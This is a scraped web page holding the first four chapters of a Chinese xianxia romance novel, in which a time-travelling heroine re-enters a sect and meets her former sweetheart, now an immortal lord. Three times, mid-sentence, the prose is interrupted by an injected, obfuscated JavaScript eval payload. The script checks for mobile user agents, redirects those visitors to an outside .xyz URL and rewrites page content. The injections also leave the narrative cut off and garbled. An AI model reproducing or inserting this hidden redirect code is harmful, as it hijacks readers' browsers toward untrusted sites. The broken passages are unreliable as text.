《仙尊是前暧昧对象》 1. 归尘 浓云如墨,暴雨如注。 泥泞的山路模糊不清,少女一脚踏空,连带着手中掰断的枯枝狠狠滚下陡坡。 尖锐的石块擦过手臂,火辣辣的疼。 她闷哼一声,泥水糊了满脸,却咬着牙一声不吭,迅速撑起身抹去眼前的雨水,继续深一脚浅一脚地向前。 真是流年不利。 偏赶上这鬼天气,又偏偏已在清晨留了诀别的书信,实在是不好厚着脸皮又回去待上一日。 那句告诫声在耳畔响起:“姑娘非此世之人,滞留愈久,归途愈渺。莫非……心有不舍?” 她猛地顿住脚步,下意识地回头。 身后只有茫茫雨帘,将那座承载了三年光阴的山门彻底隔绝,连同里面的人与事,一并模糊远去,最终消于无形。 心有不舍? 不,她只是运气太差,恰好撞上了这场暴雨,仅此而已。 她不属于这里。她的时代,她的血仇,都在百年之后等着她。 百年之后,尘归尘,土归土。 她与他们,本就是陌路。 * “姑娘,青山到了!” 马车摇晃停止,温拂渔倏然睁眼,眼底残留的一丝恍惚瞬间被沉静取代。随即她利落地掀帘下车,将几枚铜钱塞进车夫手中。 “每次青山门开门收徒,这人呐,层出不穷。”车夫掂量着铜钱,望着山道上的人流,忍不住感慨,“其他门派可没这阵仗。” “第一仙门,自然引人趋之若鹜。”温拂渔声音平淡,听不出情绪。 “倒也是。”车夫咧嘴一笑,调转马头,“姑娘,祝你旗开得胜啊!” “多谢。”温拂渔微微颔首,转身汇入那蜿蜒而上的石阶人流。 青山巍峨,五年一度的招新仪典,引无数怀揣仙梦者蜂拥而至。只是仙途渺渺,最终能踏入山门者不过十之一二,至于亲传弟子之位,更是凤毛麟角。 她的目光掠过前方那扇刻着“青山门”三个鎏金大字的崭新石门,却再无记忆中的刀痕火迹,也听不见那群咋呼着要在石门上刻名的少年声音。 距离她踏出这扇门,不过月余。 可门外的时光,已匆匆百年。 三年前,她在为舅舅采摘草药的路途中遭遇了一场追杀,因不敌对方被逼到悬崖边不慎掉落,却无意间被卷进了一场时空乱流,回到了百年前。 她在那个时代寻找着能让自己回家的方法,最终以青山门里最大最丰富的藏书阁为突破点,成为了青山门普通弟子,成功找到了能穿越时空的法阵。 当初追杀她那人右手背有两道狰狞的疤痕,与她记忆里害死她父母,断掉舅舅双腿的仇人疤痕一致。可那人实在太强,她清晰地知道就算自己在青山门待过三年,如今实力也还是不及对方。 所以她需要变得更强。 至于为何会再次来到青山? 没办法,她只赶上了这一轮招新,其他门派要不早结束了,要不就需等明年再参加。 她不喜欢等待,等待于她从来都是些不好的回忆。 温拂渔压下心头微涩,重新整理好心态,随着人流踏上石阶。 广场人声鼎沸,仙鹤清唳,灵气氤氲。她敛息凝神,目光平静地扫过眼前焕然一新的景象。 正走着,前方人群忽起骚动。 一个锦衣华服的少爷正趾高气扬地踹翻一位衣衫简洁的瘦弱少年,并一脸嫌弃地拍着肩膀上不存在的脏物。 他啐道:“晦气!青山门怎么什么阿猫阿狗都能来了?碰脏了小爷的云锦,你十条贱命都赔不起!” 瘦弱少年被他猛一脚踹在地上起不来,捂着肚子疼得连反驳的力气都没有。 于是赵家公子变本加厉地踩在他的脚踝上,还恶意地碾了两脚:“怎么不说话啊?哑巴了?你爹娘没教过你怎么跟人道歉吗!” 温拂渔知道这位赵家公子。 这家伙被家里人宠上天了,曾经来到小院把舅舅辛辛苦苦养了好久的牡丹花给折断了,还说是他们养的花太脆弱。 那可是牡丹姚黄,舅舅为了养好它废了不少心思。而她那日刚好出门修习,归来时人已经走了好几个时辰。 如今么…… 她唇角勾起极淡的弧度,目光随意扫过地面,指尖微动,几颗圆润的小石子便无声无息地落入掌心。 那边还在争吵—— “住手!明明是你撞人在先!”终于有人挺身而出,护住伤者,“仗着自己赵家公子的身份随便动手,你这样的人,青山门怎么可能收你为弟子!” “笑话,只有小爷看不看得上青山门,轮得到你……嗷!” 赵公子嚣张的话音被一声痛呼截断。一颗石子精准狠辣地砸在他嘴角,火辣刺痛。紧接着,第二颗、第三颗…… 石子们密集如雨,颗颗冲脸,力道刁钻。 “啊啊啊!谁!哪个王八蛋敢打小爷的脸!”赵家公子捂着脸原地跳脚,涕泪横流,哪还有半分嚣张气焰,“别打了!别打了!我的脸!呜呜……” 不错,准头没退步。 温拂渔面无表情地弹走最后一粒石子,拍了拍手上并不存在的灰尘,深藏功与名。 转身刹那,却差点撞入一人怀中。她反应极快地后撤半步,抬眼看去。 来人一袭水蓝长袍,身形挺拔,一根白色发带束着高马尾,面容俊朗,笑容爽朗阳光,正饶有兴致地看着她。 他的腰间,一枚刻着“青山门”三字的木牌分外醒目。 “失礼了。”温拂渔语气平淡,听不出情绪,“公子若是为方才之事抱不平,人已打了,恕难奉陪。” “不不不,在下是青山门弟子,方才见姑娘一手飞石实在精妙,看得入迷了,失礼失礼。”少年连忙摆手,又急忙指了指腰牌,挠头解释道,“实不相瞒,今日是我第一次参与招新事宜,有些……嗯,兴奋过头了。方才唐突,还请姑娘海涵。若不嫌弃,我替姑娘引引路,介绍下咱们青山门,权当赔罪?” 温拂渔脚步微顿。 她对如今的青山门确实一无所知,有个内部人士能为她讲解也好,省时又省力。 于是她颔首道:“有劳了。” 少年精神一振,便开始与她娓娓道来。 第一仙门青山门,如今由四位仙尊坐镇,分别修体、剑、法、阵四道。 门下弟子则分普通、记名、亲传三等。无论哪等,四脉基础皆需涉猎,不过记名、亲传弟子得师长悉心指点,进境更快,而亲传弟子更有望承袭师门衣钵。 “其旻仙尊掌体,刚猛无俦;茗月仙尊掌法,术法通玄;景川仙尊掌阵,玄机莫测;祝荣仙尊掌剑,剑意凌绝。”少年道,“我嘛,主要修的就是剑……” 温拂渔却有一瞬的愣神。 他方才说……祝荣仙尊? 可她分明记得,百年前的祝荣仙尊早已择定继承人,如今其他三尊之位都已更迭,为何“祝荣”之名仍在? 除非……当年的继位者,连同仙尊本人都已陨落,唯有如此,才 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16252349|182024||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会由首位弟子直接继承其尊号与身份,成为新的“祝荣仙尊”。 她张口打算询问这位“祝荣仙尊”的身份时,人群中骤然爆发的惊呼打断了她的动作,也截断了少年的话头。 “快看!仙尊驾临了!” 温拂渔下意识地抬头望去。 高台之上云雾缭绕,四道身影自云端缓缓降下,端坐于白玉莲台,众人的目光瞬间被吸引,屏息凝神。 她的视线却像被无形的丝线牵引,不受控制地锁定了最右侧那道身影。 一袭素白流云广袖,腰束深青近墨的玉带,勾勒出劲瘦挺拔的身形。一支寒玉簪随意挽住半头墨发,余下青丝如瀑垂落肩背。 眉峰似远山凝黛,其下一双深邃眼眸,无波无澜地俯瞰着下方芸芸众生。鼻梁高挺,薄唇紧抿,衬得整张脸愈发清冷孤绝,高不可攀。 ……是连郁。 居然,真的是他。 容颜未改,可惜褪尽了少年意气,气质与以前大不相同。 温拂渔还记得,这人当初屈腿坐在藏书阁外的老树上,嘴里咬一根不知哪来的狗尾巴草,隔着窗户跟阁内的她唠嗑。不过说是唠嗑,实际上也只是他一个人在那说话,都是些他去山下执行任务的小事,他却讲的不亦乐乎。 直到他突然聊到仙尊开始找寻继位者:“大师兄快成仙了,师父打算让他接位。等他当了仙尊,嘿嘿,我就自由啦。天大地大,想去哪去哪。” 实在是他的语气太过轻松,温拂渔才舍得从书中抬起头,询问道:“你对成仙没有半点兴趣?” 少年却目不转睛地盯着她反问:“你呢?学成后是离开青山门,还是待在门派继续修行?” 温拂渔对上他的眼眸,不知是心虚还是什么,又低下头看书了:“……我会离开这里。” 听到她的回答,少年却是轻笑一声:“对嘛,成仙后得活那么久,身边没有父母和阿姝就算了,连你也不在,我可是会寂寞死的。” 曾经的话语字字清晰,可如今,他端坐仙台,成了那高不可攀,又遥不可及的仙尊。 她感到心脏泛起一丝尖锐的刺痛。 他为何在此?为何成了仙尊?在那之后他又经历了什么? 无数疑问瞬间涌上心头,却在顷刻间骤然冻结。 温拂渔垂下眼睫,浓密的睫毛在眼下投出一小片阴影,掩去了所有情绪。 跟她有什么关系呢? 无论他为何成仙,无论他经历了什么,都与她无关了。 他不会认出她,她亦无需记得他。 “姑娘?姑娘!”蓝衣少年的手在她眼前晃了晃,带着点担忧,“回神啦!仙尊们已移驾,幻心镜也已开启,大家都准备进去了。你方才……没事吧?” 温拂渔终于回过神。 她抬眼看向高台,那里果然已空无一人,唯有一面巨大的青铜古镜正悬于半空——正是考核第一关:入幻境,抗心魔。 该轮试炼以一炷香为限,迷失者则出局。 “无事。”她声音平淡,听不出丝毫波澜,“只是……想起些无关紧要的旧事罢了。” “那规则……” “不必。”她打断少年,目光投向那扇通往未知幻境的镜门,脚步坚定地向前迈去。 “我都记得。” 不过是再入一次幻境,再历三关考核罢了。 青山门的规矩,试炼的套路,甚至某些刻入骨髓的应对之法…… 她都记得。 全都记得。 2. 试炼 幻心镜内。 雾气翻涌光影扭曲,同行者瞬间被无形的屏障隔开,随后便消失无踪。 温拂渔踏入其中不过数步,周遭景象已发生天翻地覆的变化。 一股焦糊味混杂着血腥气,瞬间钻入鼻腔。灼热的气浪扑面而来,映照着温拂渔沉静无波的眼底。 依旧是那片被烈焰吞噬的村庄。 十岁的“她”,孤零零地站在记忆的原点,茫然地望着父母消失的方向,等待着永不会兑现的承诺。 随后,一只手伸到她面前,指节分明,露出手背上两道狰狞交错的旧疤。 他的语调温柔得令人作呕:“这里风大,别等了。你的爹娘已经不会再回来了,跟我走吧。” 温拂渔缓缓抬眼。 对上那张被黑布蒙面,只余一双冰冷无情眼睛的脸,她没有恐惧,没有愤怒,甚至没有一丝波澜,只是极其缓慢地伸出手,指尖搭上那只手腕。 “你等着。”她像是在自言自语,又像是真的在说与他听,“我绝对会找到你的。” 找到你,然后……杀了你。 她手上使劲,幻境在她指尖爆发的力量下剧烈震颤,最终变成一缕青烟消散无踪。 当年,她曾在这里疯狂地杀戮幻影,一遍又一遍,却填不满心的空洞,最终如同当年那个得知噩耗的小女孩般崩溃打大哭。 奇异的是,那极致的悲伤竟引动了幻境流转,引出了赶来接她的,双腿完好意气风发的舅舅,借此挣脱幻境。 而如今…… 温拂渔看着空荡荡的幻境空间,心底一片死寂的荒芜,一点多余的情绪都没有。 幻心镜的出口近在眼前。 她迈步向前,却见脚下景象却再次扭曲变幻——许是这幻心镜看她一点反应都没有,所以又从她的脑袋里挖出点新画面想刺激她。 她本来没打算多管,只是忽感一滴冰冷的雨水砸在鼻尖,随即滂沱大雨倾盆而下。 下一秒她的脚边又浮现出一个身影,雨水冲刷着泥泞,却冲不散那张脸上刺目的鲜血和泥污。 “姐姐……我好痛啊……”女孩的声音微弱,破碎在雨幕里,带着濒死的绝望,“我还能……再见到哥哥吗……” 温拂渔的身体几不可察地颤抖了一下。 连姝。 这个名字在她心里再次浮现,一瞬间仿佛又回到了百年前那场永不停歇的暴雨。 温拂渔蹲下身,指尖轻轻拂开女孩额前被血和泥黏住的湿发,动作近乎温柔。 她看着那张血肉模糊的小脸,嘴角却极其缓慢地向上弯起一个弧度,那笑容映在雨水中,破碎而悲伤。 “会的。”她的声音很轻,被雨声吞没大半,却又异常清晰,“所以连姝,闭上眼睛吧。睡一觉,就都不痛了。” 话音落下的瞬间,她已霍然起身,再不回头,决绝地撕裂了这片幻境。 幻心镜出口光芒一闪。 “嚯!”守在第二关入口,正举着茶杯的少女惊得差点把水泼出来,目瞪口呆地看着走出来的温拂渔,“好快!我这茶刚沏好,你要喝一杯吗?” “不必了。”温拂渔的声音带着一丝不易察觉的沙哑,“请继续下一关。” 少女压下心中惊异,连忙带她走向一旁的测灵台。巨大的试炼场入口悬浮着一面石碑,碑前立着一块测灵石。 “你把手放上去,它就会开始评估你的灵力,然后给你匹配对应实力的妖物进行实战。你千万放心,试炼场内有鹰眼监控,一旦你真有危险,仙尊们会立刻出手救你出来的,所以放心大胆地进去吧!” 温拂渔颔首,毫不犹豫地将掌心按上冰冷的测灵石,白光瞬间将她吞没。 当刺目的白光散去后,温拂渔发现自己置身于一片模拟的浓密森林。 潮湿阴冷的气息弥漫,光线昏暗,随后有一股危险的气息伴随着沉重的呼吸声,从前方阴影中传来。 温拂渔感到地面微微震动,随后便见一个庞大的黑影,自阴影中缓缓站起身。 这妖物足有三丈高,浑身覆盖着漆黑硬毛,粗壮的臂膀垂落在身侧,利爪闪烁着寒光,此时正用那双猩红的兽瞳盯着她。 是魔猿,八阶妖物! 这妖物是妖化失败入魔的产物,以人为食,性情凶残狡诈,尤其喜欢虐杀猎物,是十分恶劣的存在。 不等她思考对策,震耳欲聋的咆哮响起,魔猿巨大的巴掌直朝她拍下。 温拂渔足点地面,险之又险地擦着利爪掠过,衣衫差点被劲风撕开一道口子。落地瞬间,她并未反击,反而借着翻滚之势狼狈后退,顺带避开紧随而至的又一记横扫。 该死,这个情况出乎她的意料。 在不限制招式的前提下,她对付八阶妖物绰绰有余,可如今她不能暴露自己在青山门修行过,这就有些麻烦了。 得想点办法。 温拂渔利用密林里的树干与怪石作为掩体不断周旋,偶尔抓住魔猿攻击的间隙,用最基础的灵力冲击或捡起的石块反击,打在魔猿的皮毛上,却无法对其造成伤害,反而激起它更大的怒火。 测灵台外,巨大的水镜分割成数块,显示着不同试炼场内弟子的景象。 “八阶妖物?”高台之上的仙尊宋其旻正通过水镜巡视,猛地停在温拂渔的试炼场上,浓眉紧锁,“这测灵石多少年没给新人匹配七阶以上的妖物了?这丫头什么来头?” 一旁,素白衣袍的连郁闻声抬眸。 水镜中,那抹浅灰的身影在魔猿的阴影下渺小如尘,每一次闪躲都惊险万分,每一次反击都显得绵软无力。 然而他的目光却牢牢锁定了她。 那看似狼狈的步伐,那在绝境中依旧沉静如水的眼神,还有那偶尔在极限闪避中流露出近乎本能预判般的细微调整…… 一种极其微妙的熟悉感,如同投入心湖的石子,在他心底漾开一圈圈涟漪。 模糊的记忆深处,似乎有个人的身影正隐约浮现出来。 “身法尚可,根基扎实,可惜攻击方式弱点太多。”宋其旻沉声道,“通知下去,重点监控此场,随时准备救援!” 连郁没有应声,目光却未曾离开水镜半分,指节无意识地轻轻叩击着扶手。 试炼场内,温拂渔呼吸微促,那魔猿久攻不下,愈发狂躁。 她一边艰难闪避,眼角余光却不时扫视着天空,终于在此刻找到了那个悬浮在树冠间隙,散发着微弱灵光波动的核心“鹰眼”。 真是让她有一顿好找啊。 她眼中寒光一闪,身形猛地拔高,踏着粗壮的树干向上疾掠。魔猿咆哮着紧随其后,巨大的利爪不由分说地狠狠抓向她后背。 温拂渔等的就是这一刻。 在利爪即将触及她衣衫的千钧一发之际,她身形诡异地一折,便贴着树干急速下坠。 “吼——” 魔猿志在必得的一爪,狠狠地轰在了温拂渔刚才位置的后方——正是那核心鹰眼悬浮之处。 瞬间,伴随着剧烈的灵力爆炸,刺目的红光瞬间亮起,核心鹰眼连同周围的几个副眼,在魔猿的一击下轰然爆碎。 同时场外,水镜上属于温拂渔的画面瞬间被一片刺眼的雪花覆盖。 宋其旻猛然起身:“不好!鹰眼被毁,快救人!” 几乎在他话音落下的同时,一道素白的身影已迅速掠下高台,声音果决:“我去。” 爆炸的强光与灵力乱流尚未完全平息,温拂渔站在一片狼藉中,衣衫难免受到些小波折,发丝微乱,气息却平稳了下来。 她冷冷看着那因击碎“不明物”而陷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16252350|182024||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 入短暂茫然的魔猿,眼神一厉,并指如剑,指尖灵力疯狂汇聚,一柄银白的气剑瞬间在她指尖凝聚成形。 剑锋所指,正是那魔猿的头颅。 “凝!斩!” 清叱声中,气剑化作一道流光,毫无阻碍地洞穿了魔猿庞大的身躯。 狂暴的剑气在它体内肆虐,将其坚硬的身躯由内而外寸寸撕裂,最终在一声不甘的哀嚎中化为漫天飞灰,彻底消散。 温拂渔收回剑气,体内灵力瞬间被抽空大半,一阵强烈的虚弱感袭来。 一次性使用这么多灵力还是有点为难,但这已经是她能想到最快最好的办法。 她踉跄一步,背靠着一棵焦黑的大树滑坐下来,急促地喘息着,额角渗出细密的汗珠。 就在这时,试炼场空间被强行撕开一道裂口,数名青山门弟子神色紧张,手持法器闯入进来。 然而,映入他们眼帘的,却只是一片狼藉焦土的战场,以及那个靠坐在树下,脸色微白正闭目调息的灰衣少女。 哪里还有半点魔猿的影子? 众人面面相觑,一时愕然。 温拂渔听见动静后睁开眼,看到这阵仗时也颇感意外。 她就破坏个鹰眼,竟能到来这么多人? 她撑着树干站起身,尽量稳住发软的双腿,指向弟子们身后的空间裂口,声音带着一丝疲惫的沙哑:“出口未开,我能从此处离开吗?” “呃……这……”领头的弟子有些懵,下意识看向身后。 “不可。” 一个冷冽的声音自身后裂口处传来。 温拂渔心头猛地一跳,抬眸望去。 只见连郁负手立于裂口光影之中,素白衣袍纤尘不染,周身散发着清冷的仙灵之气。 他的目光扫过一片狼藉的战场,最后落在她身上,那眼神仿佛能穿透皮囊,直抵灵魂深处。 “试炼场出口自会开启,若由此离去,则视同弃权。” 温拂渔垂下眼睫,掩去眸中所有情绪,恭敬道:“谢仙尊提醒,我明白了。” 见该试炼场一切正常,众弟子纷纷从裂口退出。 连郁是最后一个离开的。 他没有立刻关闭裂口,反而缓步走入这片焦土。 他修长的手指拂过一截被剑气余波斩断的焦木,目光扫过地面残留的魔猿灰烬,最后,那视线又再度落在温拂渔身上。 她正盘膝而坐,闭目调息,看似平静,但微微颤抖的指尖和略显急促的呼吸,暴露了她此刻的虚弱。 连郁的目光在她身上停留了数息,最终一言不发地转身,空间裂口在他身后无声闭合。 确认人已走远,温拂渔紧绷的神经才稍稍放松,缓缓吐出一口气,擦了擦额间并不存在的冷汗。 太险了。 她原本以为鹰眼破坏不过就来几位青山门弟子,怎么连仙尊也进来了,甚至来的还是连郁。 她方才留下的剑气痕迹,以连郁如今的修为和他对剑道的理解,只要他仔细探查定会发现这是青山门招式。 幸好这幻境战场在她离开后便会彻底消散,什么痕迹都不会留下。 她回想起他方才的目光和话语。 仙尊之威果然高不可攀,一开口,便把所有弟子都震住了。 这时,测灵台的白光终于再次亮起,一扇稳定的出口在她面前缓缓开启。 温拂渔深吸一口气,强压住体内翻腾的虚弱感和双腿的绵软,扶着树干艰难站起。刚迈出一步,一阵强烈的眩晕袭来,眼前发黑,差点栽倒在地。 她眼疾手快地抓住枝干,稳住身形。 同时,她的肚子在此刻,十分不争气地“咕噜”了一声。 温拂渔:…… 消耗太多有点饿了,待会儿出去吃点东西吧。 3. 剑断 演武场上人声鼎沸。 此时,观席台上坐满了前两关失败的试炼者,此刻都目光灼灼地盯着下方数十个圆形石台。 温拂渔从试炼场出口走出,在堆积参与者包袱区域找到自己的包袱,靠着一处角落的石柱坐下,拿出干粮默默啃着。 顿时肚子不叫了,力气也都回来了。 “温拂渔?” 一个带着明显惊诧的少女声音在她身前响起。 温拂渔咽下最后一口饼,慢条斯理地折好油纸,抬眼望去。 来人一身繁复精致的锦缎衣裙,发髻高挽,插着不会碍事的小巧珠翠,下巴微抬,活脱脱一只骄傲的小孔雀。 是她的表妹,温溪柔。 温家既愿意派她来参加青山门的招新仪典,那这小姑娘的实力或许比她印象里进步了很多。 “居然真是你!”温溪柔快步走近,叉着腰,杏眼圆睁,语气满是不可思议,“你不是失踪了吗,我都以为你……” 后面的话在她舌尖打了个转,没好意思说全。 温拂渔淡然回应:“失踪而已,又不是死了,为何不能再出现。” “谁家好人一失踪就是三年啊!”温溪柔被她这云淡风轻的态度噎了一下,声音拔高,“这跟死了有什么两样!” 温拂渔无语地看着她:“温溪柔,你说话还真够难听的。” 她本人还在这呢。 温溪柔顿时俏脸涨红,却又倔强地不肯道歉:“哼!温拂渔,你就认清现实吧,你这个年纪已经不吃香了,青山门选弟子肯定要年轻的!你就等着落选哭鼻子吧!” 温拂渔看着她气冲冲离开的背影,唇角几不可察地弯了一下。 还是这副老样子。 这丫头从小就要跟她比:比吃饭快结果噎得翻白眼;比花钱多结果被骂得狗血淋头;比习武……嗯,至今没赢过一次。 那点小心思,明晃晃写在脸上。与其说是讨厌,不如说是别扭的在意,跟个炸毛小猫似的,挠一爪子就跑。 体力恢复的差不多了,温拂渔起身拍掉衣上浮尘,走向演武场边缘。 第三关,演武比试。 需在任意石台上接住青山门弟子施展的体、法、阵、剑四招,若能四招全接下,才算考核通过。 不过这四招的实力不会太刁钻,毕竟是招新仪典,不是仙门打斗。 她目光扫过场内,正思索挑战哪位弟子,便听闻前方声音传来:“姑娘闯到最后一关了?果然厉害!” 温拂渔抬眼,是初入山门时遇见的那个蓝衣少年,正笑容灿烂地站在她面前。 少年道:“正式认识一下,在下柳无言,是负责第三关的弟子之一。姑娘,要不要选我?” 有人送上门,正好省事。 “好。”她颔首,跃上石台抱拳见礼,“请指教。” 柳无言第一招体,拳风刚猛,温拂渔双手交叉格挡,步伐有节奏,靠着借力旋身卸去大半力道。 未来得及喘息,柳无言指诀翻飞,第二招法随即到来。数道火矢凭空凝聚射击,温拂渔在石台上左右闪避,成功将所有攻击全部避开。 第三招阵,柳无言将灵力注入地面激活阵法,数道灵力锁链从四面八方向温拂渔缠绕而去。温拂渔不退反进,敏捷地从锁链缝隙中穿出,整个动作行云流水。 看台上,测灵试炼场现已彻底关闭,宋其旻收了水镜开始观察演武台的状况,却发现连郁正目光专注地盯着一处。 “咦?跟你徒弟对招那丫头好眼熟,是方才对付八阶妖物那位吧?”宋其旻饶有兴致地看向温拂渔所在的石台,“这个好看,我可得好好观摩观摩。” 而石台上的温拂渔本人,在接过柳无言的三招后就开始后悔选择他了。 这人确实厉害,但他是不是下手有点太狠了? 等待第四招的间隙,柳无言让她在一旁的武器架上选一个趁手的武器,温拂渔终于得以喘息,开始在架上挑选。 挑选时她目光扫过柳无言,对方正细细擦拭自己的剑身,气场莫名强了不少。 她忍不住问道:“你是散修吗?怎么每个招式都这么擅长。” “姑娘才是,每一招都接的很准啊,感觉修什么都很合适。”柳无言从一旁抽出长剑,“不过我没说过吗,我是祝荣仙尊座下的弟子,是个剑修。” 怪不得这么厉害,原来是个亲传弟子。 说来惭愧,她剑用的不算好。 当初学剑前原本要铸一把本命剑,但她幼年已有一柄滴血认主的本命剑,在那之后也一直没碰上一把趁手的剑,导致她的剑术就停在某种程度没再上升。 她最终勉强选了一柄不算太轻的剑,在手上抛了几下试试手感,又重新退回场:“请。” 柳无言便开始出招,剑气凌厉至极,她迅速架起剑挡下,却被力度震地连退好几步。 可没等她缓下脚步,少年的攻击未停,又是几剑朝着她刺来。 青山门这一招独门剑法招式很多,所运用的方法也各不同,她以前跟前任祝荣仙尊学过,可惜没学懂。 柳无言的剑法自是比不上仙尊,但他基本功扎实,又是剑修亲传,剑法自然不会差。 但在柳无言眼中,她才是那个怪人。 怎么有人明明落于下风,反应却如此之快,几乎能挡断他的每一招,又仗着身体灵活在演武场到处乱窜,反而给他整得气喘吁吁。 这位真的是来当弟子,而不是来砸馆的? 这么想着,他倒是忘记了这只是场友好的考核测试,反而把对方当成对手,力度越来越狠,速度越来越快。 宋其旻在上面看地有些着急:“喂师弟,你那徒弟是不是有些急了?你可看着点别出什么事了,咱们门派这些年能拉回风评可不容易啊。” 有些话就是不禁说。 正提醒时,却见下方温拂渔手中那柄长剑,在这狂暴的冲击下,竟“咔嚓”一声脆响,从中断为两截。 断剑脱手飞出,柳无言脸色剧变。 他这一剑已用上全力,此刻收势已然不及,直刺温拂渔毫无防备的左肩。 她忙呼:“骗子——” “不好!” 宋其旻猛地站起身,同时一道清越的剑鸣响彻演武场。 青玉般的流光瞬移出现在温拂渔身前,稳稳架住了柳无言那致命一剑,剑柄处,一枚陈旧的红色剑穗正微微晃动。 温拂渔目不转睛地盯着面前的剑。 太熟悉了。 这纹路,这颜色,这剑穗。 它停在自己面前,就像以前无数次她唤它后便脱离连郁的剑鞘,飞在自己面前一样。 三问…… 她下意识脱口而出剑名,然而就在同一刹那,“哐当”一声闷响自身后传来。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16252351|182024||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>温拂渔猛地回头,只见一柄通体墨黑,剑鞘上镶嵌着一颗暗红玛瑙的长剑,正孤零零地躺在几步之外的石板上,竟不知是何时闯入演武台的。 柳无言看看悬在空中的青玉剑,又看看地上那柄朴实无华的黑剑,脑子有点懵:“这是……” 温拂渔面无表情地走过去,弯腰捡起自己的剑,拍了拍灰,语气带着点认命的无奈:“我的本命剑,骗子。” 柳无言嘴角抽搐:“原来你方才是在叫它啊……话说,你就给本命剑取这名?” 温拂渔抿唇不语,内心翻了个白眼。 她也不想的好吗? 父母逝去后,舅舅熔了母亲的遗剑为她铸就此剑,她悲痛欲绝将它摔在地上,哭喊着爹娘都是“骗子”。这剑灵性初生便遭此重击,从此认定自己就叫“骗子”,还一直跟她闹别扭,死都不肯出鞘。 这还是刚才她拼命催动灵力召唤,它才不情不愿地出来,结果还是比人家的剑慢了一步。 危机解除,柳无言后背惊出一身冷汗。刚松一口气,却瞥见那悬停的青玉剑旁,不知何时多了一道素白身影。 连郁已无声无息地出现在石台上,面色沉重,周身散发着令人窒息的低气压。 “师,师尊!”柳无言头皮发麻,噗通一声单膝跪地,“弟子一时失手,险些酿成大祸,请师尊责罚!” 连郁并未看他,修长的手指凌空一点,三问剑发出一声清吟,乖巧地飞回他腰间的剑鞘。 他这才将目光转向跪地的弟子,声音冷冽:“无言,演武比试,旨在点到即止。你心浮气躁,全力施为,若非本尊出手,后果不堪设想。仪典结束后,自去刑堂领二十杖。” “弟子知错!弟子甘愿受罚!”柳无言额头触地,声音发颤。 温拂渔抱着剑站在一旁,饶有兴致地看着这对师徒。 这副模样的连郁倒是百年来头一回见,稀奇。 或许是她探究的目光似乎太过直白,连郁处置完弟子并未立刻离开,反而缓缓转过身,那双眼眸沉沉地落在了她身上。 方才那一瞬的感觉不会错。 三问剑确实是他心念所动,破鞘而出。但就在他召唤的同时,一股极其微弱的灵魂波动,竟也同时勾动了三问。 甚至不像往常主动回剑鞘,反而停在这少女的面前。 他压下翻腾的心绪,看向眼前这位几番引起他回忆过去的少女,柔声道:“方才无言莽撞,姑娘受惊了。你已接下他四招,考核通过。” 温拂渔紧绷的神经终于松懈下来,她抱着剑,微微欠身:“谢仙尊。” 随后她转身,只想赶紧离开这个是非之地,找个地方好好瘫着。 “且慢。”连郁的声音再次响起,不高,却又清晰地传入她耳中,“你叫什么名字?” 温拂渔脚步一顿,随后缓缓回过头:“回仙尊,我名为……温拂渔。” 曾经,连郁询问过很多次她的真名,可她秉着不能破坏过去的原则,始终没有告知他自己的名字。 如今真的说出口了,他们之间的关系却堪比陌生人。 “温拂渔……” 连郁念了一遍她的名字,声音轻得像是林间的风,温柔却转瞬即逝。 她本以为告知姓名后便可以就此结束,下一秒,却听见那白衣仙尊再次启唇道: “你可愿……成为本尊座下的弟子?” 4. 入门 招新仪典尘埃落定。 偌大的演武场,最终留下的不过二十余人,稀稀落落地站着,脸上混杂着兴奋与忐忑。 温拂渔独自站在角落的阴影里,正闭目调息放空大脑,缓解今日份的疲惫感。 只是,总有人不想让她随心所欲。 “温拂渔!” 她懒懒地掀开眼帘。 果然,依旧是温溪柔,她正提着裙摆气势汹汹地冲到她面前。 她无奈道:“温溪柔,不要总那么大声叫我名字,很丢人的。” “还不因为我叫你好半天你都不理我!”温溪柔气得跺脚,却又像想起了什么,下巴一扬,露出点小得意,“哼哼,虽然你运气好也留下来了,不过嘛……刚才其旻仙尊可是亲口夸我根骨清奇,是可造之材!” 她着重强调了最后几个字,眼神瞟向温拂渔:“怎么样?还是比你厉害一点点吧?” 温拂渔不想理她,只是敷衍地点点头。 温溪柔却自动忽略了她的敷衍,小嘴叭叭不停:“啊对了,你听说没,刚才有个石台上打得那叫一个凶险,连仙尊都亲自出手了,也不知道发生了什么……” 温拂渔平静地接话:“剑断了。” “你怎么知道?”温溪柔一愣,随即狐疑地打量她,“难不成你看见了?谁啊?” 温拂渔指了指自己:“我。是我的剑被砍断了。” 